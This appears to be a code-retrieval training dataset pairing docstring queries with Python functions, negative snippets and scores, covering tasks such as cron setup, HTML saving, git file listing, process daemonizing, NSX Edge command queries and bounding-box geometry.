def add_cron_job(nondated_url, curr_date): user = os.environ.get('USER', '') if user == '': usage("no USER env var set.") api_key = os.environ.get('MTA_API_KEY', '') if api_key == '': usage("no MTA_API_KEY env var set. Please add `export MTA_API_KEY=<KEY>` to .bashrc/.zshrc and try again...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def cli(date, path, mission):\n download.main(path, mission, date)", "def add_daily(name, user, command, environment=None):\n add_task(name, '@daily', user, command, environment)", "def update_crontab(new_crontab):\n subprocess.run([\"crontab\", \"-\"], check=True, capture_output=True, text=True, inpu...
[ "0.6217518", "0.5839289", "0.5613374", "0.56113803", "0.5583703", "0.5540043", "0.53430545", "0.5286042", "0.52517474", "0.51973224", "0.5182088", "0.5155778", "0.5139559", "0.5131635", "0.5130064", "0.50975126", "0.50848424", "0.50634307", "0.5028002", "0.49883255", "0.49630...
0.63708776
0
Saves html in specified filename in given path
def saveHtml(path: str, filename: str, html: str) -> None: filepath = os.path.join(path, filename) with open(filepath, "w") as fileHandle: fileHandle.write(html) return filepath
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def save(self, filename):\n outfile = open(filename, \"w\")\n outfile.write(self.html.encode('utf8'))\n outfile.close()", "def make_backup(filename, html):\n\n with open(filename, 'wb') as f:\n f.write(html)", "def htmlSaveFile(self, filename):\n ret = libxml2mod.htmlSaveF...
[ "0.787979", "0.7703456", "0.769332", "0.76318324", "0.7469195", "0.7466598", "0.73435193", "0.7313832", "0.7297087", "0.72894686", "0.726079", "0.7140499", "0.6979866", "0.69742167", "0.6938493", "0.6927359", "0.6867596", "0.67674464", "0.6729367", "0.66805", "0.658196", "0...
0.8745617
0
Extracts hyperlink from more anchor tag
def getPaginationHyperlink(html: str) -> str: moreLinkPattern = r'\<tr class="morespace".*?\<a\shref="(?P<hyperlink>.+?)"\sclass="morelink"' morelinkCompiledRegex = re.compile(moreLinkPattern, flags=re.IGNORECASE | re.DOTALL) matchedRegex = morelinkCompiledRegex.search(html) if matchedRegex: hyp...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def extract_next_page(parser):\n more = parser.find('a', class_='morelink')\n return more['href']", "def extract_next_page(parser):\n link = parser.find(\"a\", class_=\"morelink\")[\"href\"]\n return str(link)", "def _parse_links(self, response):\n links = []\n link_els = response.xpa...
[ "0.7142194", "0.6892841", "0.6824566", "0.66558737", "0.65821356", "0.6506589", "0.64602387", "0.62871546", "0.6197151", "0.61179537", "0.61167383", "0.6051518", "0.60359395", "0.6032119", "0.60204184", "0.60023904", "0.6000569", "0.5965327", "0.5958277", "0.595405", "0.59110...
0.74561816
0
Run ``git lsfiles`` in the toplevel project directory. Arguments go directly to execution call.
def git_ls_files(*cmd_args): cmd = ['git', 'ls-files'] cmd.extend(cmd_args) return set(subprocess.check_output(cmd).splitlines())
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def git_ls_files():\n\tproc = subprocess.Popen(\n\t\t['git', 'ls-files'],\n\t\tstdin=subprocess.DEVNULL,\n\t\tstdout=subprocess.PIPE,\n\t\tstderr=None\n\t)\n\t(stdout, stderr) = proc.communicate()\n\tif proc.returncode != 0:\n\t\traise OSError(\"Cannot list version-controlled files\")\n\tfilenames = stdout.decode(...
[ "0.7529486", "0.6684709", "0.66222614", "0.6546617", "0.63417643", "0.63115054", "0.62302166", "0.61532456", "0.61515826", "0.60766083", "0.60619664", "0.60407776", "0.6007652", "0.5975857", "0.59522355", "0.58336353", "0.5823643", "0.5823149", "0.58227754", "0.5755018", "0.5...
0.7539438
0
Print a message indicating failure in red color to STDERR.
def print_failure_message(message): try: import colorama print(colorama.Fore.RED + message + colorama.Fore.RESET, file=sys.stderr) except ImportError: print(message, file=sys.stderr)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def err(msg):\n print(colored.red(\"[ERROR]: {0}\".format(msg)))", "def print_error(message: str):\n print_with_color(message, constant.Color.FAIL)", "def print_failure_msg(msg):\n click.secho(msg, fg='red', file=sys.stderr)", "def failure(self, message=''):\n print(colored(message, 'red'))",...
[ "0.8139798", "0.7891391", "0.7861315", "0.7850614", "0.7619812", "0.7606152", "0.760484", "0.75479156", "0.75395614", "0.74183655", "0.7407587", "0.73441464", "0.72732544", "0.72718126", "0.7205987", "0.71278733", "0.71020126", "0.706107", "0.7059658", "0.696329", "0.6958461"...
0.8332692
0
Returns the Kernel version, Build number, Name and Version information for given NSX edge NSXEdge>show version
def get_os_info(cls, client_object, **kwargs): endpoint = "show version " PARSER = "raw/showEdgeVersion" EXPECT_PROMPT = ['bytes*', 'NSXEdge>'] # Get the parsed data mapped_pydict = utilities.get_mapped_pydict_for_expect( client_object.connection, endpoint, PARSER, ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_version(self):\n verxml = self._ncc.nxoscli('show version')\n self.logger.debug(verxml)\n verparsed = _begin_parse(verxml)\n sysmgrclischema = parse_get_nsmap(verparsed)\n self.logger.debug(\"NSMAP: {}\".format(sysmgrclischema))\n showversion = find_element(['sys_v...
[ "0.6694532", "0.61063725", "0.59893906", "0.58265644", "0.581532", "0.581229", "0.56937516", "0.56883925", "0.5680113", "0.56638014", "0.5618403", "0.5599922", "0.55912185", "0.55906004", "0.55780494", "0.5560827", "0.5550261", "0.5543873", "0.55412424", "0.5535596", "0.55161...
0.7000498
0
Logs in to given NSX edge in configure terminal mode and fetch the list of all supported commands. Returns the list of commands in a pyset object. Refer /VDNetLib/TestData/Edge/list_command_configure_mode for output format
def get_all_supported_commands_configure_mode(cls, client_object, **kwargs): pydict = dict() try: if "password" in kwargs: pwd = kwargs["password"] pylogger.info("trying to create an expect connection " ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_all_supported_commands_enable_mode(\n cls, client_object, **kwargs):\n pydict = dict()\n\n try:\n if \"password\" in kwargs:\n password = kwargs[\"password\"]\n pylogger.info(\"trying to create an expect connection \"\n ...
[ "0.6511725", "0.63629586", "0.62398857", "0.61768675", "0.6060961", "0.60467505", "0.60360336", "0.6015906", "0.60068876", "0.59958434", "0.59946626", "0.59913915", "0.597592", "0.5959561", "0.5952795", "0.5924984", "0.58672166", "0.5802978", "0.57971066", "0.5770296", "0.576...
0.7366051
0
Logs in to given NSX edge in enable mode with specified credentials and fetches the list of all supported commands. Returns the list of commands in a pyset object. Refer /VDNetLib/TestData/Edge/list_command_enable_mode for output format
def get_all_supported_commands_enable_mode( cls, client_object, **kwargs): pydict = dict() try: if "password" in kwargs: password = kwargs["password"] pylogger.info("trying to create an expect connection " "with %s" %...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_all_supported_commands_configure_mode(cls, client_object,\n **kwargs):\n pydict = dict()\n\n try:\n if \"password\" in kwargs:\n pwd = kwargs[\"password\"]\n pylogger.info(\"trying to create an expect co...
[ "0.6705702", "0.66978204", "0.5725764", "0.5724217", "0.569081", "0.5650631", "0.56415504", "0.5569029", "0.556437", "0.55634505", "0.55406326", "0.5539092", "0.54985934", "0.5491004", "0.5447574", "0.54346836", "0.54318064", "0.54090124", "0.54086053", "0.5407843", "0.540509...
0.7370529
0
Logs in to given NSX edge in admin mode with specified credentials and fetches the list of all supported commands. Returns the list of commands in a pyset object. Refer /VDNetLib/TestData/Edge/list_command_admin_mode for output format
def get_all_supported_commands_admin_mode( cls, client_object, **kwargs): pydict = dict() EXPECT_PROMPT = ['bytes*', 'NSXEdge>'] try: if "password" in kwargs: password = kwargs["password"] pylogger.info("trying to create an expect connecti...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_admin_commands(self):\n\n return []", "def get_all_supported_commands_enable_mode(\n cls, client_object, **kwargs):\n pydict = dict()\n\n try:\n if \"password\" in kwargs:\n password = kwargs[\"password\"]\n pylogger.info(\"trying t...
[ "0.6680752", "0.65000904", "0.64158475", "0.6281375", "0.6140795", "0.60326713", "0.5936857", "0.5907522", "0.58782774", "0.5867255", "0.58409363", "0.5823446", "0.581068", "0.5809843", "0.5808537", "0.5794938", "0.57770985", "0.5762379", "0.5757621", "0.57531905", "0.5749414...
0.74650776
0
Creates or removes feed mappings. Operation statuses are returned.
def MutateFeedMappings(self, request, context): context.set_code(grpc.StatusCode.UNIMPLEMENTED) context.set_details('Method not implemented!') raise NotImplementedError('Method not implemented!')
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_mapping(self):\n\n indice = client.IndicesClient(self.es)\n\n indice.put_mapping(index=self.es_main_index,\n doc_type=self.es_main_type,\n body=self.mapping)", "def bulk_update_mappings(\n self, mapper: Mapper[Any], mappings: Ite...
[ "0.53210986", "0.5282509", "0.5193511", "0.51220226", "0.5118502", "0.5118434", "0.5047823", "0.5047823", "0.50096697", "0.5001195", "0.4983614", "0.49467513", "0.49398443", "0.49174434", "0.49069437", "0.48667857", "0.48645493", "0.48289153", "0.47788695", "0.4766776", "0.47...
0.59377956
1
Fork off a background thread for execution. When this method returns, it will be on the new process. This will also populate the PID file with the new process id. This uses the UNIX doublefork magic, see Stevens' "Advanced Programming in the UNIX Environment" for details (ISBN 0201563177)
def __daemonize(self): # The double fork thing is required to really dettach the eventual process for the current one, including # such weird details as making sure it can never be the session leader for the old process. # Do the first fork. try: pid = os.fork() ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def doTask(self):\n\n def signal_cb(s, f):\n os._exit(0)\n\n for s in signal.SIGTERM, signal.SIGINT, signal.SIGHUP, signal.SIGQUIT:\n signal.signal(s, signal_cb)\n\n # write pidfile\n def atexit_cb():\n print(\"Exit fork\")\n\n atexit.register(ate...
[ "0.6289691", "0.6277763", "0.6235509", "0.6211188", "0.61053115", "0.59950376", "0.59734493", "0.5932291", "0.5924541", "0.59134763", "0.5890534", "0.5890318", "0.58181685", "0.5802295", "0.57700944", "0.57442904", "0.5697643", "0.56894493", "0.56711257", "0.5625068", "0.5620...
0.6278399
1
Reads the pid file and returns the process id contained in it. This also verifies as best as it can that the process returned is running and is really an agent process. The id of the agent process or None if there is none or it cannot be read.
def __read_pidfile(self): try: pf = file(self.pidfile, 'r') contents = pf.read().strip().split() pf.close() except IOError: return None pid = int(contents[0]) try: os.kill(pid, 0) except OSError, e: # ESRCH ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def getPid(self):\n try:\n fh = open(self.filename)\n except OSError:\n return None\n line = fh.readline()\n try:\n return string.atoi(line) # trailing newline doesn't matter\n except ValueError:\n return None", "def get_pid(self):\n...
[ "0.7579522", "0.74366933", "0.7350737", "0.72607666", "0.707823", "0.6928475", "0.68607014", "0.6809271", "0.68042326", "0.67258936", "0.6717959", "0.6676065", "0.6591127", "0.64635587", "0.64168656", "0.63849145", "0.63500375", "0.6348595", "0.62905115", "0.6233244", "0.6230...
0.79762614
0
Returns True if the commandline arguments for the specified process can be read.
def __can_read_command_line(self, pid): return os.path.isfile('/proc/%d/cmdline' % pid)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def depends_on_process(self, process):\n for output_resource in process.iter_outputs():\n if self.has_input(output_resource):\n return True\n return False", "def check_arguments(self):\n self.check_num_arguments()\n self.are_readable_files(self.args)", "def...
[ "0.65596586", "0.6360689", "0.6212573", "0.61894363", "0.6104708", "0.6048994", "0.6045347", "0.5974168", "0.59560287", "0.58320457", "0.5827571", "0.5820868", "0.5817725", "0.58135414", "0.57502115", "0.5743185", "0.5727226", "0.56809455", "0.5666836", "0.56435555", "0.56362...
0.7529902
0
Reads the commandline arguments for the specified pid and returns the contents.
def __read_command_line(self, pid): pf = None try: pf = file('/proc/%d/cmdline' % pid, 'r') return pf.read().strip() finally: if pf is not None: pf.close()
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def ReadArguments():\n\n args = ParseArguments()\n\n logging.info('Command line arguments...')\n for arg in vars(args):\n logging.info(str(arg) + ': ' + str(getattr(args, arg)))\n logging.info('')\n\n IsTest(args)\n ProcessCacheSize(args)\n ProcessLineSize(args)\n ProcessMulti(args)\...
[ "0.65537363", "0.6036514", "0.5997907", "0.5957874", "0.5922425", "0.5763637", "0.57568336", "0.57552546", "0.57092315", "0.5705053", "0.56773204", "0.5660786", "0.56368196", "0.5633759", "0.56327707", "0.56173635", "0.5616477", "0.55958754", "0.5568026", "0.55643076", "0.556...
0.6990076
0
Exit the process with a nonzero status if the agent is already running.
def fail_if_already_running(self): pid = self.__read_pidfile() if pid: message = "The agent appears to be running pid=%d. pidfile %s does exists.\n" sys.stderr.write(message % (pid, self.pidfile)) sys.exit(1)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def processEnded(self, status):\r\n self.pid = None\r\n statusMap = {\r\n 0: ProcessDone,\r\n 1: ProcessTerminated,\r\n }\r\n self.proto.processEnded(Failure(statusMap[status](status)))", "def exit(status=None): # real signature unknown; restored from __doc__\n ...
[ "0.6195423", "0.6041457", "0.60360324", "0.59795636", "0.5978203", "0.59733963", "0.59637934", "0.5955729", "0.59308636", "0.5870076", "0.5870076", "0.58643895", "0.5832923", "0.5810707", "0.5802401", "0.579938", "0.57855886", "0.5770318", "0.5765552", "0.5759777", "0.5756108...
0.66552776
0
Sleeps for at most the specified number of seconds while also handling signals. Python does not do a great job of handling signals quickly when you invoke the normal time.sleep(). This method is a Unixspecific implementation of a sleep that should do better quickly handling signals while sleeping. This method may retur...
def sleep(self, seconds): # We schedule an alarm signal for x=seconds out in the future. # noinspection PyUnusedLocal def handle_alarm(signal_num, frame): pass signal.signal(signal.SIGALRM, handle_alarm) signal.alarm(seconds) # Wait for either the alarm to ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def sleep(self, seconds):\n ten_ms_steps = int(round(seconds * 100))\n for _i in xrange(0,ten_ms_steps):\n if self._sequence_stop_signal:\n break\n sleep(0.01)", "def sleep(seconds):\n\n # Check seconds to ensure it is a valid type.\n if type(seconds) not in [...
[ "0.70630014", "0.7060907", "0.7036341", "0.69794136", "0.6970344", "0.696298", "0.6951769", "0.6951769", "0.69417673", "0.67783153", "0.67622095", "0.66984147", "0.66940546", "0.662884", "0.6621498", "0.6614137", "0.64386445", "0.6405465", "0.6392214", "0.63817585", "0.627401...
0.7286979
0
Returns CPU and memory usage information. It returns the results in a tuple, with the first element being the number of CPU seconds spent in user land, the second is the number of CPU seconds spent in system land, and the third is the current resident size of the process in bytes.
def get_usage_info(self): usage_info = resource.getrusage(resource.RUSAGE_SELF) user_cpu = usage_info[0] system_cpu = usage_info[1] rss_size = usage_info[2] return user_cpu, system_cpu, rss_size
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_total_cpu_time_and_memory_usage() -> Tuple[float, int]:\n me = resource.getrusage(resource.RUSAGE_SELF)\n children = resource.getrusage(resource.RUSAGE_CHILDREN)\n total_cpu_time = me.ru_utime + me.ru_stime + children.ru_utime + children.ru_stime\n total_memory_usage = me.ru_maxrss + children.r...
[ "0.8176625", "0.7808941", "0.7579237", "0.7543515", "0.7478074", "0.7445209", "0.73848224", "0.73599404", "0.7351578", "0.73352563", "0.73092437", "0.73081726", "0.72933537", "0.72700363", "0.7250576", "0.72455794", "0.7233994", "0.7216275", "0.7215389", "0.71842796", "0.7151...
0.78645474
1
Convolve one image with separabl filters.
def convolve_one_image(self,input4D, one_image, image_shape, Pstruct, filter_shape, image_index, channel_index): ## We look at the composition for the first channel in the beginning rank ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def convolve(self, *args, **kwargs):\n return _image.image_convolve(self, *args, **kwargs)", "def MyConvolve(img, ff):\n result = np.zeros(img.shape)\n x_len = img.shape[0]\n y_len = img.shape[1]\n\n ff = np.flipud(np.fliplr(ff)) # Flip filters\n\n # Apply filter to pixels\n for x in r...
[ "0.7495514", "0.69816136", "0.6926627", "0.6658543", "0.6642495", "0.6620933", "0.66170156", "0.65827525", "0.65733373", "0.65717804", "0.6559641", "0.64966655", "0.6421656", "0.6419542", "0.6402899", "0.64008325", "0.63947445", "0.6285137", "0.62369514", "0.62244105", "0.621...
0.69993824
1
Check that all output files are produced and are equivalent to the ones in goldStandard folder.
def _checkOutputs(self, outputs, random=False, errorthreshold=0.001): for out in outputs: outFile = os.path.join(self._testDir, self.outputDir, out) fileGoldStd = os.path.join(self.goldDir, out) # Check the expect output file was produced msg = "Missi...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def check_generated_files(out_dir, output_list_file):\n xcpd_dir = os.path.join(out_dir, \"xcp_d\")\n found_files = sorted(glob(os.path.join(xcpd_dir, \"**/*\"), recursive=True))\n found_files = [os.path.relpath(f, out_dir) for f in found_files]\n\n # Ignore figures\n found_files = [f for f in found...
[ "0.6592521", "0.658346", "0.6503008", "0.6485635", "0.64343256", "0.63431185", "0.62933356", "0.6255054", "0.6212415", "0.6163191", "0.6134901", "0.6122998", "0.60994726", "0.60929835", "0.6076817", "0.60678595", "0.6047929", "0.60258394", "0.6014823", "0.5997116", "0.5986643...
0.7571529
0
Create a context menu for the widget (the main widget for this view)
def make_context_menu(self, widget): self.context_menu_widget = widget self.context_menu_widget.setContextMenuPolicy(Qt.CustomContextMenu) self.context_menu_widget.customContextMenuRequested.connect(self.request_context_menu) self.context_menu = QMenu()
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def widget_ctx_menu(self):\n def toggle_step():\n self.showStepExponent = not self.showStepExponent\n\n def toggle_write():\n self.writeOnPress = not self.writeOnPress\n\n menu = self.lineEdit().createStandardContextMenu()\n menu.addSeparator()\n ac = menu.a...
[ "0.7556599", "0.74964786", "0.7235469", "0.714675", "0.6928441", "0.6839094", "0.68082815", "0.6805799", "0.68024814", "0.6796827", "0.6790282", "0.677154", "0.676619", "0.6764652", "0.67637086", "0.67262745", "0.6709449", "0.66774523", "0.6611824", "0.6609954", "0.6595786", ...
0.77636343
0
Inputs values to table in database.
def input_values(curs, table_name, inputs): curs.executemany("""INSERT INTO {} (s, x, y) VALUES (?, ?, ?);""".format(table_name), inputs)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def insert_values():\n pass", "def insertByHand(self):\n\n fieldValues = []\n for field in self.fieldNames:\n fieldValues.append(raw_input(\"Give \" + field + \": \"))\n\n print(self.tableName + \".insert(\" + str(fieldValues) + \")\")\n\n self.insert(fieldValues)", ...
[ "0.66245425", "0.6569825", "0.65506077", "0.6475767", "0.62920696", "0.6261432", "0.62417054", "0.60498255", "0.6047792", "0.60193795", "0.59682614", "0.5960599", "0.59450805", "0.5943396", "0.59352744", "0.5807773", "0.5787951", "0.5777822", "0.5770113", "0.57534796", "0.574...
0.68125886
0
Queries to find number of rows in table in database where x is greater than or equal to x_gte and y is greater than or equal to y_gte.
def count_rows_greater(curs, table_name, x_gte=5, y_gte=5): assert x_gte is not None and y_gte is not None where_str = "" val = None if x_gte is None: where_str = "WHERE y >= ?" val = (y_gte) elif y_gte is None: where_str = "WHERE x >= ?" val = (x_gte) else: ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def rpc_database_count_rows(self, *args):\n\t\targs = list(args)\n\t\tfields = self.path.split('/')[1:-2]\n\t\tassert len(fields) == len(args)\n\t\ttable = DATABASE_TABLE_OBJECTS.get(self.path.split('/')[-2])\n\t\tassert table\n\t\tsession = db_manager.Session()\n\t\tquery = session.query(table)\n\t\tquery = query...
[ "0.56505555", "0.55544376", "0.5534052", "0.54158044", "0.53334355", "0.5333287", "0.52193576", "0.5107352", "0.5105168", "0.5078217", "0.5057607", "0.5046411", "0.5044533", "0.5042941", "0.503666", "0.50231636", "0.50128746", "0.4965802", "0.4953175", "0.4945569", "0.4910886...
0.8394844
0
Queries to find number of distinct values of col column in table in database.
def count_distinct_col(curs, table_name, col='y'): return curs.execute("""SELECT COUNT(DISTINCT {}) FROM {};""".format(col, table_name)).fetchone()[0]
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_unique_counts(df, colname):\n\treturn list(dict(df[colname].value_counts(ascending=False, dropna=False)).values())", "def get_counts(df,col_name):\n return df.groupBy(col_name).count().show()", "def get_unique(self):\n unique_values = len(self.df[self.col_name].unique())\n return unique_values...
[ "0.6991576", "0.69485164", "0.6879922", "0.6863142", "0.67103183", "0.6590594", "0.6463755", "0.63715804", "0.63554555", "0.6342957", "0.6308717", "0.6272405", "0.626818", "0.62482023", "0.62392485", "0.61953485", "0.61704886", "0.61700535", "0.61607206", "0.61574954", "0.614...
0.8021922
0
Load a song from the given file.
def load_song(self, path): self._menu_select('File->Open') self._open_file(path) try: # Get the annoying Comments window out of the way self._app.Comments.minimize() except MatchError: pass
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def loadSong(fileName):\n with open (fileName, 'r') as f:\n testSong = ast.literal_eval(f.read())\n\n return testSong", "def load(self, song):\n self.currentSongName = song\n self.currentSong = pygame.mixer.music.load(song)", "def _load_sound(file: str) -> pyglet.media.Source:\n\n ...
[ "0.7358361", "0.72585785", "0.6847177", "0.68328434", "0.6698162", "0.66567945", "0.65592307", "0.65188473", "0.6471673", "0.64638644", "0.6448192", "0.6430223", "0.64215535", "0.63958055", "0.63943523", "0.63796645", "0.6167352", "0.61342967", "0.61297315", "0.6129407", "0.6...
0.7262814
1
Load a style from the given file.
def load_style(self, path): self.wait_ready() def open_dialog(): # Bring up the style popup menu and choose to open a style file self._song_pane.click_input(coords=(44, 73), absolute=False) menu = self._app.window(class_name='#32768') menu.menu_item('File...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def loadStyleSheet(self, filename):\n try:\n self.cssfile = \"gui/\" + filename\n with open(self.cssfile, \"r\") as f:\n self.setStyleSheet(f.read())\n except IOError:\n logger.error('No style sheet found!')", "def loadStyleSheet(self, styleFile=None)...
[ "0.75155187", "0.7069215", "0.7048573", "0.67138267", "0.6654528", "0.6436224", "0.64141214", "0.6291772", "0.62115586", "0.5974821", "0.58186597", "0.58115596", "0.5777675", "0.5759348", "0.57558227", "0.574919", "0.5748142", "0.5734577", "0.5732519", "0.57291174", "0.568974...
0.77099824
0
The key signature of the song.
def key_signature(self): text = self._get_menu_item_text('Edit->Key Signature') return re.search(r'\[([A-G].?)\]$', text).group(1)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _build_signature(self):\n sig_contents = \\\n self.payload + \".\" + \\\n b64encode(b\"application/xml\").decode(\"ascii\") + \".\" + \\\n b64encode(b\"base64url\").decode(\"ascii\") + \".\" + \\\n b64encode(b\"RSA-SHA256\").decode(\"ascii\")\n sig_hash...
[ "0.69159144", "0.68707407", "0.68707407", "0.68707407", "0.6732909", "0.658839", "0.65777826", "0.6566842", "0.6536141", "0.6520834", "0.64927524", "0.6490056", "0.6486773", "0.6486773", "0.64298445", "0.64217603", "0.6413349", "0.63893026", "0.63876134", "0.6386294", "0.6298...
0.7109579
0
The time signature (meter) of the song.
def time_signature(self): text = self._get_menu_item_text('Edit->Meter (Time Signature)') return re.search(r'\[([0-9]+/[0-9]+)\]$', text).group(1)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_signingTime(self):\n\n return self.get_POW().signingTime()", "def time(self) -> int:\n return self.raw[\"time\"]", "def getTime(self) -> float:\n return self.t", "def getTime(self):\n return _osgAnimation.Keyframe_getTime(self)", "def get_time(self) -> float:\n ra...
[ "0.6606404", "0.64903015", "0.64892113", "0.6447548", "0.64385873", "0.633328", "0.6330664", "0.627636", "0.6260411", "0.6224092", "0.6214561", "0.6208507", "0.62078905", "0.6193222", "0.6189002", "0.61833715", "0.61824566", "0.6165584", "0.6165227", "0.6151058", "0.6149589",...
0.7741977
0
The tempo of the song.
def tempo(self): text = self._get_menu_item_text('Edit->Tempo') return float(re.search(r'\[([0-9.,]+)\]$', text).group(1))
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_tempo(self, tempo):\n self._tempo = tempo", "def tempo(signal,fs,hop_len = 64, **kwargs):\n tempo, beats = librosa.beat.beat_track(y=signal, sr=fs, hop_length=hop_len)\n return tempo", "def analyze_tempo(self, sample):\n # get beat from sample\n is_beat = self.tempo_analyzer(...
[ "0.69736135", "0.6595954", "0.6365309", "0.6310555", "0.61785966", "0.61531806", "0.6058358", "0.576273", "0.57180995", "0.57065964", "0.5647518", "0.56118566", "0.56033045", "0.5536001", "0.5516438", "0.5497539", "0.5480728", "0.5466305", "0.5449493", "0.5441588", "0.5440897...
0.6787653
1
Formats the DF and adds missing columns
def add_missing_columns(df, columns): df_columns = list(df.columns) table_columns = columns col_not_in_df = set(table_columns) - set(df_columns) # print(f' missing columns from df : {col_not_in_df}') for col in col_not_in_df: df[col] = '' df = df[table_...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_missing_fields(df, inventory_acronym, f, maintain_columns=False):\n # Rename for legacy datasets\n if 'ReliabilityScore' in df:\n df = df.rename(columns={'ReliabilityScore': 'DataReliability'})\n # Add in units and compartment if not present\n if 'Unit' in f.fields() and 'Unit' not in df...
[ "0.641115", "0.6301545", "0.6252176", "0.6246336", "0.621779", "0.6163167", "0.61629313", "0.61473024", "0.6107609", "0.6089415", "0.6087212", "0.60132515", "0.6011982", "0.59927666", "0.59733063", "0.5875654", "0.58720547", "0.5864852", "0.5810072", "0.5796086", "0.578949", ...
0.6645317
0
Update ArcGIS R bindings on this machine.
def update_package(r_library_path=r_library_path): # TODO make sure that the package isn't loaded before updating? info = arcpy.GetInstallInfo() arc_version = info['Version'] product = info['ProductName'] if arc_version in ('10.1', '10.2', '10.3.0') and product == 'Desktop': arcpy.AddError...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def refresh_script_provider(self):\n if qgis_version() < 21600:\n from processing.core.Processing import Processing\n Processing.updateAlgsList()\n else:\n from processing.core.alglist import algList\n algList.reloadProvider('script')", "def refresh(self)...
[ "0.5909581", "0.52897483", "0.5182346", "0.5049008", "0.50418323", "0.487255", "0.48481926", "0.48071972", "0.48067838", "0.48017973", "0.47946712", "0.47891673", "0.4787338", "0.47767738", "0.47652295", "0.47616255", "0.47590637", "0.47561038", "0.47273707", "0.47131407", "0...
0.63963205
0
Given two points pt0 and pt1, return a unit vector that points in the direction of pt0 to pt1. Returns
def _unit_vector(pt0, pt1): dis_0_to_1 = sqrt((pt0[0] - pt1[0])**2 + (pt0[1] - pt1[1])**2) return (pt1[0] - pt0[0]) / dis_0_to_1, \ (pt1[1] - pt0[1]) / dis_0_to_1
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def dir_vector(p1: Vec2, p2: Vec2) -> Vec2:\n return Vec2(p2.x - p1.x, p2.y - p1.y)", "def vector(p0, p1):\n a = p1[0] - p0[0]\n b = p1[1] - p0[1]\n return (a, b)", "def direction(point0, point1):\n d = [0, 0, 0]\n vector = [point1[0] - point0[0], point1[1] - point0[1]]\n d[1] = math.atan2...
[ "0.7350742", "0.7088152", "0.7051899", "0.6943673", "0.68375623", "0.6814168", "0.6791304", "0.6746292", "0.6693085", "0.64756083", "0.64739174", "0.64329237", "0.6425584", "0.6419102", "0.6410274", "0.6389862", "0.63404804", "0.6337205", "0.6286878", "0.6248634", "0.6230512"...
0.8154963
0
Given a vector, returns a orthogonal/perpendicular vector of equal length. Returns
def _orthogonal_vector(vector): return -1 * vector[1], vector[0]
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_perpendicular2d(vector):\n if vector[1] == 0:\n return np.asarray([0.,1.])\n v2_0 = 1.0\n v2_1 = -(vector[0]/vector[1])\n v2 = np.asarray([v2_0, v2_1])\n return v2 / np.linalg.norm(v2)", "def perpendicular_vector(v):\n if v[1] == 0 and v[2] == 0:\n if v[0] == 0:\n ...
[ "0.8108887", "0.8046012", "0.80115205", "0.8010986", "0.79765224", "0.77215797", "0.75200254", "0.73142374", "0.7283013", "0.7026917", "0.6834823", "0.6834823", "0.6834823", "0.6834823", "0.6834823", "0.6834823", "0.6834823", "0.6834823", "0.6834823", "0.6834823", "0.6834823"...
0.8325588
0
Given index location in an array and convex hull, it gets two points hull[index] and hull[index+1]. From these two points, it returns a named tuple that mainly contains area of the box that bounds the hull. This bounding box orintation is same as the orientation of the lines formed by the point hull[index] and hull[ind...
def _bounding_area(index, hull): unit_vector_p = _unit_vector(hull[index], hull[index + 1]) unit_vector_o = _orthogonal_vector(unit_vector_p) dis_p = tuple(np.dot(unit_vector_p, pt) for pt in hull) dis_o = tuple(np.dot(unit_vector_o, pt) for pt in hull) min_p = min(dis_p) min_o = min(dis_o) ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
